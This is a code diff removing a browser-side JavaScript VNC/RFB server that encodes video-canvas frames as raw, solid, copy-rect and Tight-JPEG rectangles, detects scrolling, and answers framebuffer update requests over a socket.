-        return hexdump + " (" + buffer.byteLength.toString ()
-                       + (buffer.byteLength == 1 ? " byte)" : " bytes)");
-      }
-
-      let wScreen = 0;
-      let hScreen = 0;
-
-      const rfb_padding = 0;
-      const rfb_encoding_raw = 0;
-      const rfb_encoding_copyrect = 1;
-      const rfb_encoding_rre = 2;
-      const rfb_encoding_tight = 7;
-      const rfb_name = "wc:6";
-      const rfb_name_length = rfb_name.length;
-
-      class Rect
-      {
-        constructor (x, y, w, h, encoding)
-        {
-          this.x = x;
-          this.y = y;
-          this.w = w;
-          this.h = h;
-          this.encoding = encoding;
-        }
-
-        send ()
-        {
-          const buffer = new ArrayBuffer (12);
-          const b = new Uint8Array (buffer);
-          b[0] = this.x >>> 8;
-          b[1] = this.x & 0xff;
-          b[2] = this.y >>> 8;
-          b[3] = this.y & 0xff;
-          b[4] = this.w >>> 8;
-          b[5] = this.w & 0xff;
-          b[6] = this.h >>> 8;
-          b[7] = this.h & 0xff;
-          b[8] = this.encoding >>> 24
-          b[9] = (this.encoding >>> 16) & 0xff;
-          b[10] = (this.encoding >>> 8) & 0xff;
-          b[11] = this.encoding & 0xff;
-          if (debugging)
-            console.log ("sending Rect object: " + buf2hex (buffer));
-          socket.send (buffer);
-        }
-      }
-
-      class RawRect extends Rect
-      {
-        constructor (x, y, w, h, data)
-        {
-          super (x, y, w, h, rfb_encoding_raw);
-          this.data = data;
-        }
-
-        send ()
-        {
-          super.send ();
-          if (debugging)
-            console.log ("sending RawRect object data (" + this.data.byteLength.toString () + " pixel bytes)");
-          socket.send (this.data);
-        }
-      }
-
-      class ScrollRect extends Rect
-      {
-        constructor (x, y, w, h, dx, dy)
-        {
-          super (x, y, w, h, rfb_encoding_copyrect);
-          this.dx = dx;
-          this.dy = dy;
-        }
-
-        send ()
-        {
-          super.send ();
-          const buffer = new ArrayBuffer (4);
-          const b = new Uint8Array (buffer);
-          b[0] = this.dx >>> 8;
-          b[1] = this.dx & 0xff;
-          b[2] = this.dy >>> 8;
-          b[3] = this.dy & 0xff;
-          if (debugging)
-            console.log ("sending ScrollRect object: " + buf2hex (buffer));
-          socket.send (buffer);
-        }
-      }
-
-      class SolidRect extends Rect
-      {
-        constructor (x, y, w, h, color)
-        {
-          super (x, y, w, h, rfb_encoding_rre);
-          this.color = color;
-        }
-
-        send ()
-        {
-          super.send ();
-          const buffer = new ArrayBuffer (8);
-          const b = new Uint8Array (buffer);
-          b[0] = 0;  // number of sub-rectangles
-          b[1] = 0;
-          b[2] = 0;
-          b[3] = 0;
-          b[4] = this.color >>> 16;
-          b[5] = (this.color >>> 8) & 0xff;
-          b[6] = this.color & 0xff;
-          b[7] = rfb_padding;
-          if (debugging)
-            console.log ("sending SolidRect object: " + buf2hex (buffer));
-          socket.send (buffer);
-        }
-      }
-
-      class TightRect extends Rect
-      {
-        constructor (x, y, w, h, data)
-        {
-          super (x, y, w, h, rfb_encoding_tight);
-          this.data = data;
-        }
-
-        send ()
-        {
-          super.send ();
-          const data_length = this.data.byteLength;
-          let data_length_length = undefined;
-          if (data_length <= 0x7f)
-            data_length_length = 1;
-          else if (data_length <= 0x3fff)
-            data_length_length = 2;
-          else
-            data_length_length = 3;
-          const buffer = new ArrayBuffer (1 + data_length_length);
-          const b = new Uint8Array (buffer);
-          b[0] = 0x90; // Tight-JPEG
-          if (data_length <= 0x7f)
-            b[1] = data_length & 0x7f;
-          else if (data_length <= 0x3fff)
-            {
-              b[1] = (data_length & 0x7f) | 0x80;
-              b[2] = (data_length & 0x3f80) >>> 7;
-            }
-          else
-            {
-              b[1] = (data_length & 0x7f) | 0x80;
-              b[2] = ((data_length & 0x3f80) >>> 7) | 0x80;
-              b[3] = (data_length & 0x3fc000) >>> 14;
-            }
-          if (debugging)
-            console.log ("sending TightRect object header: " + buf2hex (buffer));
-          socket.send (buffer);
-          if (debugging)
-            console.log ("sending TightRect object data (" + data_length.toString () + " pixel bytes)");
-          socket.send (this.data);
-        }
-      }
-
-      let rects = new Array ();
-
-      class ScrollParams
-      {
-        constructor (x, y, w, h, dx, dy)
-        {
-          this.x = x;
-          this.y = y;
-          this.w = w;
-          this.h = h;
-          this.dx = dx;
-          this.dy = dy;
-        }
-      }
-
-      let scrollRects = new Array ();
-
-      let rfb_bits_per_pixel = 32;
-      let rfb_depth = 24;
-      let rfb_big_endian_flag = 0;
-      let rfb_true_color_flag = 1;
-      let rfb_red_maximum = 255;
-      let rfb_green_maximum = 255;
-      let rfb_blue_maximum = 255;
-      let rfb_red_shift = 24;
-      let rfb_green_shift = 16;
-      let rfb_blue_shift = 8;
-
-      let isFirstFrame = 1;
-      let processing = 0;
-      const rfb_aborted = 42;
-
-      function fillRectBuffer (px, x, y, w, h, color)
-      {
-        for (let yy = 0; yy < h; yy++)
-          {
-            let o = (y + yy) * wScreen + x;
-            for (let xx = 0; xx < w; xx++)
-              px[o++] = color;
-          }
-      }
-
-      function scrollRectBuffer (px, x, y, w, h, dx, dy)
-      {
-        const ww = w - Math.abs (dx);
-        const hh = h - Math.abs (dy);
-        const do0 = dy > 0 ? -wScreen : wScreen;
-        let o10 = (dy > 0 ? y + h - 1 : y) * wScreen + (dx > 0 ? x + w - 1 : x);
-        let o00 = ((dy > 0 ? y + h - 1 : y) - dy) * wScreen + (dx > 0 ? x + w - 1 : x) - dx;
-        for (let i = 0; i < hh; i++)
-          {
-            o1 = o10;
-            o0 = o00;
-            if (dx > 0)
-              for (let j = 0; j < ww; j++)
-                px[o1--] = px[o0--];
-            else
-              for (let j = 0; j < ww; j++)
-                px[o1++] = px[o0++];
-            o10 += do0;
-            o00 += do0;
-          }
-      }
-
-      function sleep (delay)
-      {
-        return new Promise (
-          function (resolve)
-          {
-            setTimeout (resolve, delay)
-          });
-      }
-
-      function canvasToBlob (canvas, type, options)
-      {
-        return new Promise (
-          function (resolve)
-          {
-            canvas.toBlob (resolve, type, options);
-          });
-      }
-
-      function pushRectRaw (x, y, w, h)
-      {
-        const data_length = w * h * 4;
-        const buffer = new ArrayBuffer (data_length);
-        const b = new Uint8Array (buffer);
-        const id1 = ctx1.getImageData (x, y, w, h);
-        const px1 = new Uint8Array (id1.data.buffer);
-        let bo = 0;
-        let po = 0;
-        for (let yy = 0; yy < h; yy++)
-          for (let xx = 0; xx < w; xx++)
-            {
-              b[bo + 0] = px1[po + 2];
-              b[bo + 1] = px1[po + 1];
-              b[bo + 2] = px1[po + 0];
-              b[bo + 3] = rfb_padding;
-              bo += 4;
-              po += 4;
-            }
-        if (debugging)
-          console.log ("storing RawRect (" + data_length.toString () + " pixel bytes)");
-        rects.push (new RawRect (x, y, w, h, buffer));
-      }
-
-      function pushRectScroll (x, y, w, h, dx, dy)
-      {
-        if (debugging)
-          console.log ("storing ScrollRect");
-        rects.push (new ScrollRect (x, y, w, h, dx, dy));
-      }
-
-      function pushRectSolid (x, y, w, h, color)
-      {
-        if (debugging)
-          console.log ("storing SolidRect");
-        rects.push (new SolidRect (x, y, w, h, color));
-      }
-
-      async function pushRectTight (x, y, w, h)
-      {
-        if (debugging)
-          console.log ("pushRectTight: x = " + x.toString () + ", y = " + y.toString () + ", w = " + w.toString () + ", h = " + h.toString ());
-        let canvas = undefined;
-        if (x == 0 && y == 0 && w == wScreen && h == hScreen)
-          canvas = canvas1;
-        else
-          {
-            canvas = document.createElement ('canvas');
-            canvas.width = w;
-            canvas.height = h;
-            canvas.getContext ('2d').drawImage (canvas1, -x, -y);
-          }
-        // if (debugging)
-        //   console.log ("calling canvasToBlob()");
-        const blob = await canvasToBlob (canvas, "image/jpeg");
-        // if (debugging)
-        //   console.log ("calling blob.arrayBuffer()");
-        const jpeg_buffer = await blob.arrayBuffer ();
-        // if (debugging)
-        //   console.log ("storing TightRect (" + jpeg_buffer.byteLength.toString () + " instead of " + (w * h * 4).toString () + " pixel bytes)");
-        rects.push (new TightRect (x, y, w, h, jpeg_buffer));
-      }
-
-      function detectScrolling (px0, px1, x, y, w, h)
-      {
-        if (debugging)
-          console.log ("scrolling: detection started");
-        const pixels = w * h;
-        const points = Math.floor (pixels / scroll_detection_point_divisor);
-        const qxBuffer = new ArrayBuffer (2 * points);
-        const qx = new Uint16Array (qxBuffer);
-        const qyBuffer = new ArrayBuffer (2 * points);
-        const qy = new Uint16Array (qyBuffer);
-        const qc1Buffer = new ArrayBuffer (4 * points);
-        const qc1 = new Uint32Array (qc1Buffer);
-        const qc0Buffer = new ArrayBuffer (4 * points);
-        const qc0 = new Uint32Array (qc0Buffer);
-        for (let i = 0; i < points; i++)
-          {
-            const p = Math.floor (Math.random () * pixels);
-            // I lost a whole day to find out that p / w is a floating point division,
-            // which causes crazy things to happen when we use yy as an array index.
-            // I hate JavaScript. -- PG 20201222
-            const yy = Math.floor (p / w);
-            const xx = p % w;
-            const o = (y + yy) * wScreen + x + xx;
-            qy[i] = yy;
-            qx[i] = xx;
-            qc1[i] = px1[o];
-            qc0[i] = px0[o];
-          }
-        const xDensityBuffer = new ArrayBuffer (2 * w);
-        const xDensity = new Uint16Array (xDensityBuffer);
-        const yDensityBuffer = new ArrayBuffer (2 * h);
-        const yDensity = new Uint16Array (yDensityBuffer);
-        for (let xx = 0; xx < w; xx++)
-          {
-            xDensity[xx] = 0;
-            for (let i = 0; i < points; i++)
-              if (qx[i] < xx && qc1[i] != qc0[i])
-                xDensity[xx]++;
-          }
-        const lx = Math.floor (w / scroll_detection_length_divisor);
-        const halflx = Math.floor (lx / 2);
-        const averageDensity = Math.floor (xDensity[w - 1] / scroll_detection_length_divisor);
-        if (debugging)
-          console.log ("scrolling: averageDensity =", averageDensity);
-        let x0 = 0;
-        while (x0 + lx < w)
-          {
-            while (x0 + lx < w && xDensity[x0 + lx] - xDensity[x0] < averageDensity)
-              x0++;
-            let x1 = x0;
-            while (x1 + lx < w && xDensity[x1 + lx] - xDensity[x1] >= averageDensity)
-              x1++;
-            if (x1 - x0 >= scroll_detection_min_stripe_width)
-              {
-                if (debugging)
-                  console.log ("scrolling: vertical stripe:", x0 + halflx, x1 - x0);
-                for (let yy = 0; yy < h; yy++)
-                  {
-                    yDensity[yy] = 0;
-                    for (let i = 0; i < points; i++)
-                      if (qy[i] < yy && qc1[i] != qc0[i] && qx[i] >= x0 && qx[i] < x1)
-                        yDensity[yy]++;
-
-                  }
-                const ly = Math.floor (h / scroll_detection_length_divisor);
-                const halfly = Math.floor (ly / 2);
-                const averageDensity = Math.floor (yDensity[h - 1] / scroll_detection_length_divisor);
-                if (debugging)
-                  console.log ("scrolling: averageDensity =", averageDensity);
-                let y0 = 0;
-                while (y0 + ly < h)
-                  {
-                    while (y0 + ly < h && yDensity[y0 + ly] - yDensity[y0] < averageDensity)
-                      y0++;
-                    let y1 = y0;
-                    while (y1 + ly < h && yDensity[y1 + ly] - yDensity[y1] >= averageDensity)
-                      y1++;
-                    if (y1 - y0 >= scroll_detection_min_stripe_height)
-                      {
-                        if (debugging)
-                          console.log ("scrolling: horizontal stripe:", y0 + halfly, y1 - y0);
-                        let sx = x0 + halflx;
-                        let sy = y0 + halfly;
-                        let sw = x1 - x0;
-                        let sh = y1 - y0;
-                        if (debugging)
-                          {
-                            console.log ("scrolling: checking area:", sx, sy, sw, sh);
-                            console.log ("scrolling: " + scrollRects.length.toString () + " rects");
-                          }
-                        const redundant = scrollRects.find (
-                          function (r)
-                          {
-                            if (debugging)
-                              console.log ("scrolling: checking rect", sx, sy, sw, sh, "against", r.x, r.y, r.w, r.h, r.dx, r.dy);
-                            if (sx + sw <= r.x || sx >= r.x + r.w)
-                              return 0;
-                            else if (sy + sh <= r.y || sy >= r.y + r.h)
-                              return 0;
-                            else
-                              {
-                                if (debugging)
-                                  console.log ("scrolling: new rect", sx, sy, sw, sh, "is redundant with", r.x, r.y, r.w, r.h, r.dx, r.dy);
-                                return 1;
-                              }
-                          });
-                        if (!redundant)
-                          {
-                            const color = new Array;
-                            for (let i = 0; i < points; i++)
-                              if (qx[i] >= sx && qx[i] < sx + sw && qy[i] >= sy && qy[i] < sy + sh)
-                                color.push (qc1[i]);
-                            const points_inside = color.length;
-                            color.sort (
-                              function (a, b)
-                              {
-                                return a - b;
-                              });
-                            let color_abundance = 1;
-                            let i0 = 0;
-                            let i1 = 1;
-                            while (i1 < points_inside)
-                              {
-                                if (color[i1] != color[i0])
-                                  {
-                                    const a = i1 - i0;
-                                    if (a > color_abundance)
-                                      {
-                                        color_abundance = a;
-                                        i0 = i1;
-                                      }
-                                  }
-                                i1++
-                              }
-                            const a = i1 - i0;
-                            if (a > color_abundance)
-                              color_abundance = a;
-                            if (debugging)
-                              console.log ("scrolling: color_abundance = " + color_abundance.toString () + ", points_inside = " + points_inside.toString ()
-                                           + ", threshold = " + (points_inside * scroll_detection_same_color_threshold).toString ());
-                            if (color_abundance < points_inside * scroll_detection_same_color_threshold)
-                              {
-                                let min_mishits = points_inside;
-                                let sdx = 0;
-                                let sdy = 0;
-                                // We intentionally include the case dx == dy == 0.
-                                // Without this, we get false positives where unchanged content
-                                // is scrolled by 1 pixel because the "repair" after the scrolling
-                                // is minimal.
-                                for (let dy = scroll_detection_y_max; dy >= scroll_detection_y_min && min_mishits > 0; dy--)
-                                  for (let dx = scroll_detection_x_max; dx >= scroll_detection_x_min && min_mishits > 0; dx--)
-                                    if ((dx == 0 || dy == 0 || dx * dx + dy * dy < scroll_detection_r_max * scroll_detection_r_max))
-                                      {
-                                        let i = 0;
-                                        let mishits = 0;
-                                        while (i < points && mishits < min_mishits)
-                                          {
-                                            if (qx[i] >= sx && qx[i] < sx + sw && qy[i] >= sy && qy[i] < sy + sh)
-                                              {
-                                                const o0 = (y + qy[i] - dy) * wScreen + x + qx[i] - dx;
-                                                if (o0 >= 0 && o0 < pixels && qc1[i] != px0[o0])
-                                                  mishits++;
-//                                                if (i < 10)
-//                                                  console.log ("scrolling: point:", qx[i], qy[i], "rect:", sx, sx + sw, sy, sy + sh,
-//                                                               "o0, px:", o0, qc1[i], px0[o0]);
-                                              }
-                                            i++;
-                                          }
-                                        if (mishits < min_mishits)
-                                          {
-                                            min_mishits = mishits;
-                                            sdx = dx;
-                                            sdy = dy;
-                                          }
-                                      if (debugging)
-                                        console.log ("scrolling: dx = " + dx.toString () + ", dy = " + dy.toString ()
-                                                     + ", mishits = " + mishits.toString () + ", points_inside = " + points_inside.toString ());
-                                      }
-                                if (debugging)
-                                  console.log ("scrolling: sdx = " + sdx.toString () + ", sdy = " + sdy.toString ()
-                                               + ", min_mishits = " + min_mishits.toString () + ", points_inside = " + points_inside.toString ());
-                                if (min_mishits < points_inside * (1 - scroll_detection_hit_threshold))
-                                  {
-                                    if (debugging)
-                                      console.log ("scrolling: expanding rect:", sx, sy, sw, sh, sdx, sdy);
-                                    let xx = sx - 1;
-                                    let scrollable = 1;
-                                    while (xx > 0 && scrollable)
-                                      {
-                                        let yy = sy;
-                                        let scrollable_points = 0;
-                                        let o1 = (y + yy) * wScreen + x + xx;
-                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
-                                        while (yy < sy + sh)
-                                          {
-                                            if (px1[o1] == px0[o0])
-                                              scrollable_points++;
-                                            yy++;
-                                            o1 += wScreen;
-                                            o0 += wScreen;
-                                          }
-                                        if (scrollable_points < sh * scroll_detection_hit_threshold)
-                                          scrollable = 0;
-                                        xx--;
-                                      }
-                                    if (!scrollable)
-                                      sx = xx + 1;
-                                    else
-                                      sx = xx;
-                                    xx = sx + sw;
-                                    scrollable = 1;
-                                    while (xx < w && scrollable)
-                                      {
-                                        let yy = sy;
-                                        let scrollable_points = 0;
-                                        let o1 = (y + yy) * wScreen + x + xx;
-                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
-                                        while (yy < sy + sh)
-                                          {
-                                            if (px1[o1] == px0[o0])
-                                              scrollable_points++;
-                                            yy++;
-                                            o1 += wScreen;
-                                            o0 += wScreen;
-                                          }
-                                        if (scrollable_points < sh * scroll_detection_hit_threshold)
-                                          scrollable = 0;
-                                        xx++;
-                                      }
-                                    if (!scrollable)
-                                      sw = xx - sx - 1;
-                                    else
-                                      sw = xx - sx;
-                                    let yy = sy - 1;
-                                    scrollable = 1;
-                                    while (yy > 0 && scrollable)
-                                      {
-                                        let xx = sx;
-                                        let scrollable_points = 0;
-                                        let o1 = (y + yy) * wScreen + x + xx;
-                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
-                                        while (xx < sx + sw)
-                                          {
-                                            if (px1[o1] == px0[o0])
-                                              scrollable_points++;
-                                            xx++;
-                                            o1++;
-                                            o0++;
-                                          }
-                                        if (scrollable_points < sw * scroll_detection_hit_threshold)
-                                          scrollable = 0;
-                                        yy--;
-                                      }
-                                    if (!scrollable)
-                                      sy = yy + 1;
-                                    else
-                                      sy = yy;
-                                    yy = sy + sh;
-                                    scrollable = 1;
-                                    while (yy < h && scrollable)
-                                      {
-                                        let xx = sx;
-                                        let scrollable_points = 0;
-                                        let o1 = (y + yy) * wScreen + x + xx;
-                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
-                                        while (xx < sx + sw)
-                                          {
-                                            if (px1[o1] == px0[o0])
-                                              scrollable_points++;
-                                            xx++;
-                                            o1++;
-                                            o0++;
-                                          }
-                                        if (scrollable_points < sw * scroll_detection_hit_threshold)
-                                          scrollable = 0;
-                                        yy++;
-                                      }
-                                    if (!scrollable)
-                                      sh = yy - sy - 1;
-                                    else
-                                      sh = yy - sy;
-//                                    if (debugging)
-                                      console.log ("scrolling: pushing rect:", sx, sy, sw, sh, sdx, sdy);
-                                    scrollRects.forEach (
-                                      function (r)
-                                      {
-                                        if (!(sx + sw <= r.x || sx >= r.x + r.w || sy + sh <= r.y || sy >= r.y + r.h))
-                                          {
-                                            if (debugging)
-                                              console.log ("scrolling: neutralizing redundant rect:", r.x, r.y, r.w, r.h, r.dx, r.dy);
-                                            r.dx = 0;
-                                            r.dy = 0;
-                                          }
-                                      });
-                                    scrollRects.push (new ScrollParams (sx, sy, sw, sh, sdx, sdy));
-                                  }
-                              }
-                          }
-                      }
-                    y0 = y1;
-                  }
-              }
-            x0 = x1;
-          }
-        scrollRects.forEach (
-          function (r)
-          {
-            if (r.dx != 0 || r.dy != 0)
-              {
-                const adx = Math.abs (r.dx);
-                const ady = Math.abs (r.dy);
-                if (r.w > adx && r.h > ady)
-                  {
-//                    pushRectSolid (r.x, r.y, r.w, r.h, 0xff0000);
-//                    fillRectBuffer (px0, r.x, r.y, r.w, r.h, 0xffff0000);
-                    const xx = r.dx > 0 ? r.x + r.dx : r.x;
-                    const yy = r.dy > 0 ? r.y + r.dy : r.y;
-                    pushRectScroll (xx, yy, r.w - adx, r.h - ady, xx - r.dx, yy - r.dy);
-                    scrollRectBuffer (px0, r.x, r.y, r.w, r.h, r.dx, r.dy);
-                  }
-              }
-          });
-        if (debugging)
-          console.log ("scrolling: " + scrollRects.length.toString ()
-                       + " rectangle" + (scrollRects.length == 1 ? "" : "s") + " detected");
-        scrollRects.length = 0;
-      }
-
-      function determineBackgroundColor (px, x, y, w, h)
-      {
-        const pixels = w * h;
-        const max_points = Math.floor (pixels / 16);
-        const points = max_points > 256 ? 256 : max_points;
-        const color = new Array (points);
-        for (let i = 0; i < points; i++)
-          {
-            const p = Math.floor (Math.random () * pixels);
-            const yy = Math.floor (p / w);
-            const xx = p % w;
-            const o = yy * wScreen + x;
-            color[i] = px[o];
-          }
-        color.sort (
-          function (a, b)
-          {
-            return a - b;
-          });
-        let background_index = 0;
-        let background_abundance = 1;
-        let i0 = 0;
-        let i1 = 1;
-        while (i1 < points)
-          {
-            if (color[i1] != color[i0])
-              {
-                const a = i1 - i0;
-                if (a > background_abundance)
-                  {
-                    background_index = i0;
-                    background_abundance = a;
-                    i0 = i1;
-                  }
-              }
-            i1++
-          }
-        const a = i1 - i0;
-        if (a > background_abundance)
-          background_index = i0;
-        return color[background_index];
-      }
-
-      async function updateFullRectangle (x, y, w, h)
-      {
-        if (w * h * 4 > 1024)
-          await pushRectTight (x, y, w, h);
-        else
-          pushRectRaw (x, y, w, h);
-      }
-
-      async function updateInnerStructureHorizontal (px0, px1, x, y, w, h, final)
-      {
-        // if (debugging)
-        //   console.log ("updateInnerStructureHorizontal: x = " + x.toString () + ", y = " + y.toString ()
-        //                + ", w = " + w.toString () + ", h = " + h.toString () + ", final = ", final.toString ());
-        const empty = new Array (w);
-        const pixel_unchanged = 0x01000000;
-        const same_color = 0x2000000;
-        let xx = 0;
-        while (xx < w)
-          {
-            let yy = 0;
-            let o = y * wScreen + x + xx;
-            const start_color = px1[o];
-            empty[xx] = (start_color & 0x00ffffff) | (pixel_unchanged | same_color);
-            while (yy < h && empty[xx] & (pixel_unchanged | same_color))
-              {
-                if (px1[o] != px0[o])
-                  empty[xx] &= ~pixel_unchanged;
-                if (px1[o] != start_color)
-                  empty[xx] &= ~same_color;
-                o += wScreen;
-                yy++;
-              }
-            xx++;
-          }
-        let x0 = 0;
-        while (x0 < w && empty[x0] & (pixel_unchanged | same_color))
-          x0++;
-        while (x0 < w)
-          {
-            while (x0 < w && !(empty[x0] & (pixel_unchanged | same_color)))
-              x0++;
-            let x1 = x0;
-            while (x1 < w && empty[x1] & (pixel_unchanged | same_color))
-              x1++;
-            if (x1 < w && x1 - x0 < combine_rects_x_min_distance)
-              for (let xx = x0; xx < x1; xx++)
-                empty[xx] &= ~(pixel_unchanged | same_color);
-            x0 = x1;
-          }
-        let nothing_empty = 1;
-        for (let xx = 0; xx < w; xx++)
-          if (empty[xx] & (pixel_unchanged | same_color))
-            nothing_empty = 0;
-        // if (debugging)
-        //   console.log ("nothing_empty = " + nothing_empty.toString () + ", empty =", empty);
-        x0 = 0;
-        while (x0 < w)
-          {
-            let x1 = x0;
-            if (empty[x0] & pixel_unchanged)
-              {
-                while (x1 < w && empty[x1] & pixel_unchanged)
-                  x1++;
-              }
-            else if (empty[x0] & same_color)
-              {
-                while (x1 < w && empty[x1] & same_color && (empty[x1] & 0x00ffffff) == (empty[x0] & 0x00ffffff))
-                  x1++;
-                x1--;
-                while (x1 > x0 && empty[x1] & pixel_unchanged)
-                  x1--;
-                x1++;
-                const start_color = empty[x0] | 0xff000000;
-                pushRectSolid (x + x0, y, x1 - x0, h, debugging ? start_color | 0x00ffff : start_color);
-                fillRectBuffer (px0, x + x0, y, x1 - x0, h, start_color);
-              }
-            else
-              {
-                while (x1 < w && !(empty[x1] & (pixel_unchanged | same_color)))
-                  x1++;
-                if (final)
-                  await updateFullRectangle (x + x0, y, x1 - x0, h);
-                else
-                  await updateInnerStructureVertical (px0, px1, x + x0, y, x1 - x0, h, nothing_empty);
-              }
-            x0 = x1;
-          }
-      }
-
-      async function updateInnerStructureVertical (px0, px1, x, y, w, h, final)
-      {
-        // if (debugging)
-        //   console.log ("updateInnerStructureVertical: x = " + x.toString () + ", y = " + y.toString ()
-        //                + ", w = " + w.toString () + ", h = " + h.toString () + ", final = ", final.toString ());
-        const empty = new Array (h);
-        const pixel_unchanged = 1;
-        const same_color = 2;
-        let yy = 0;
-        while (yy < h)
-          {
-            let xx = 0;
-            let o = (y + yy) * wScreen + x;
-            const start_color = px1[o];
-            empty[yy] = (start_color & 0x00ffffff) | (pixel_unchanged | same_color);
-            while (xx < w && empty[yy] & (pixel_unchanged | same_color))
-              {
-                if (px1[o] != px0[o])
-                  empty[yy] &= ~pixel_unchanged;
-                if (px1[o] != start_color)
-                  empty[yy] &= ~same_color;
-                o++;
-                xx++;
-              }
-            yy++;
-          }
-        let y0 = 0;
-        while (y0 < h && empty[y0] & (pixel_unchanged | same_color))
-          y0++;
-        while (y0 < h)
-          {
-            while (y0 < h && !(empty[y0] & (pixel_unchanged | same_color)))
-              y0++;
-            let y1 = y0;
-            while (y1 < h && empty[y1] & (pixel_unchanged | same_color))
-              y1++;
-            if (y1 < h && y1 - y0 < combine_rects_y_min_distance)
-              for (let yy = y0; yy < y1; yy++)
-                empty[yy] &= ~(pixel_unchanged | same_color);
-            y0 = y1;
-          }
-        let nothing_empty = 1;
-        for (let yy = 0; yy < h; yy++)
-          if (empty[yy] & (pixel_unchanged | same_color))
-            nothing_empty = 0;
-        // if (debugging)
-        //   console.log ("nothing_empty = " + nothing_empty.toString () + ", empty =", empty);
-        y0 = 0;
-        while (y0 < h)
-          {
-            let y1 = y0;
-            if (empty[y0] & pixel_unchanged)
-              {
-                while (y1 < h && empty[y1] & pixel_unchanged)
-                  y1++;
-              }
-            else if (empty[y0] & same_color)
-              {
-                while (y1 < h && empty[y1] & same_color && (empty[y1] & 0x00ffffff) == (empty[y0] & 0x00ffffff)) 
-                  y1++;
-                y1--;
-                while (y1 > y0 && empty[y1] & pixel_unchanged)
-                  y1--;
-                y1++;
-                const start_color = empty[y0] | 0xff000000;
-                pushRectSolid (x, y + y0, w, y1 - y0, debugging ? start_color | 0xffff00 : start_color);
-                fillRectBuffer (px0, x, y + y0, w, y1 - y0, start_color);
-              }
-            else
-              {
-                while (y1 < h && !(empty[y1] & (pixel_unchanged | same_color)))
-                  y1++;
-                if (final)
-                  await updateFullRectangle (x, y + y0, w, y1 - y0);
-                else
-                  await updateInnerStructureHorizontal (px0, px1, x, y + y0, w, y1 - y0, nothing_empty);
-              }
-            y0 = y1;
-          }
-      }
-
-      async function decomposeRect (px0, px1, x, y, w, h)
-      {
-        await updateInnerStructureVertical (px0, px1, x, y, w, h, 0);
-      }
-
-      async function rfbFramebufferUpdate (isIncremental, x, y, w, h)
-      {
-        if (debugging)
-          console.log ("rfbFramebufferUpdate: isIncremental = " + isIncremental.toString ()
-                       + ", x = " + x.toString () + ", y = " + h.toString ()
-                       + ", w = " + w.toString () + ", h = " + h.toString ());
-        let id1 = ctx1.getImageData (x, y, w, h);
-        ctx0.putImageData (id1, x, y, x, y, w, h);
-        const id0 = ctx0.getImageData (0, 0, wScreen, hScreen);
-        const px0 = new Uint32Array (id0.data.buffer);
-        ctx1.drawImage (video, 0, 0, wScreen, hScreen);
-        id1 = ctx1.getImageData (0, 0, wScreen, hScreen);
-        let px1 = new Uint32Array (id1.data.buffer);
-        if (!isIncremental)
-          {
-            const color = determineBackgroundColor (px1, x, y, w, h);
-            if (debugging)
-              console.log ("background color = " + color.toString ());
-            pushRectSolid (x, y, w, h, debugging ? color | 0x7f00ff : color);
-            fillRectBuffer (px0, x, y, w, h, color);
-          }
-        do
-          {
-            const length = px0.length;
-            let o = 0;
-            while (o < length && px0[o] == px1[o])
-              o++;
-            if (o < length)
-              {
-//                if (isIncremental && w >= scroll_detection_min_width && h >= scroll_detection_min_height)
-//                  detectScrolling (px0, px1, x, y, w, h);
-                await decomposeRect (px0, px1, x, y, w, h);
-              }
-            if (rects.length == 0)
-              {
-                await sleep (100);
-                ctx1.drawImage (video, 0, 0, wScreen, hScreen);
-                id1 = ctx1.getImageData (x, y, w, h);
-                px1 = new Uint32Array (id1.data.buffer);
-              }
-          }
-        while (rects.length == 0);
-      }
-
-      function rfbReceivePixelFormat (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: SetPixelFormat");
-        const b = new Uint8Array (buffer);
-        rfb_bits_per_pixel = b[4];
-        rfb_depth = b[5];
-        rfb_big_endian_flag = b[6];
-        rfb_true_color_flag = b[7];
-        rfb_red_maximum = b[8] << 8 + b[9];
-        rfb_green_maximum = b[10] << 8 + b[11];
-        rfb_blue_maximum = b[12] << 8 + b[13];
-        rfb_red_shift = b[14];
-        rfb_green_shift = b[15];
-        rfb_blue_shift = b[16];
-        return 20;
-      }
-
-      function rfbReceiveEncodings (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: SetEncodings");
-        const b = new Uint8Array (buffer);
-        const encodings = b[offset + 2] << 8 + b[offset + 3];
-        return 4 + 4 * encodings;
-      }
-
-      function rfbAbort ()
-      {
-        if (debugging)
-          console.log ("Aborting RFB transmission ...");
-        processing += rfb_aborted;
-      }
-
-      async function rfbFramebufferUpdateRequest (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: FramebufferUpdateRequest");
-        if (processing)
-          {
-//            if (debugging)
-              if (processing >= rfb_aborted)
-                console.log ("aborted");
-              else
-                console.log ("already being processed");
-          }
-        else
-          {
-            processing++;
-            let b = new Uint8Array (buffer);
-            let isIncremental = b[1];
-            const x = b[2] * 256 + b[3];
-            const y = b[4] * 256 + b[5];
-            const w = b[6] * 256 + b[7];
-            const h = b[8] * 256 + b[9];
-            if (debugging)
-              {
-                console.log ("FramebufferUpdateRequest: Initiating processing ...");
-                console.log ("wScreen = ", wScreen, ", hScreen = ", hScreen + ", w = ", w, ", h = ", h);
-              }
-            rects.length = 0;
-            if (processing < rfb_aborted)
-              {
-                if (isFirstFrame)
-                  {
-                    await rfbFramebufferUpdate (0, 0, 0, wScreen, hScreen);
-                    isFirstFrame = 0;
-                  }
-                else if (isIncremental)
-                  await rfbFramebufferUpdate (1, x, y, w, h);
-                else
-                  await rfbFramebufferUpdate (0, x, y, w, h);
-                if (debugging)
-                  console.log ("FramebufferUpdateRequest: Processing completed. Sending data ... ("
-                               + rects.length.toString ()
-                               + " rectangle" + (rects.length != 1 ? "s" : "") + ")");
-                const header_buffer = new ArrayBuffer (4);
-                b = new Uint8Array (header_buffer);
-                const num_rects = rects.length;
-                b[0] = 0;
-                b[1] = rfb_padding;
-                b[2] = num_rects >>> 8;
-                b[3] = num_rects & 0xff;
-                if (debugging)
-                  console.log ("sending rfbFramebufferUpdate header: " + buf2hex (header_buffer));
-                socket.send (header_buffer);
-                rects.forEach (
-                  function sendIt (r)
-                  {
-                    r.send ();
-                  });
-              }
-            processing--;
-          }
-        return 10;
-      }
-
-      function rfbReceiveKeyEvent (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: KeyEvent");
-        return 8;
-      }
-
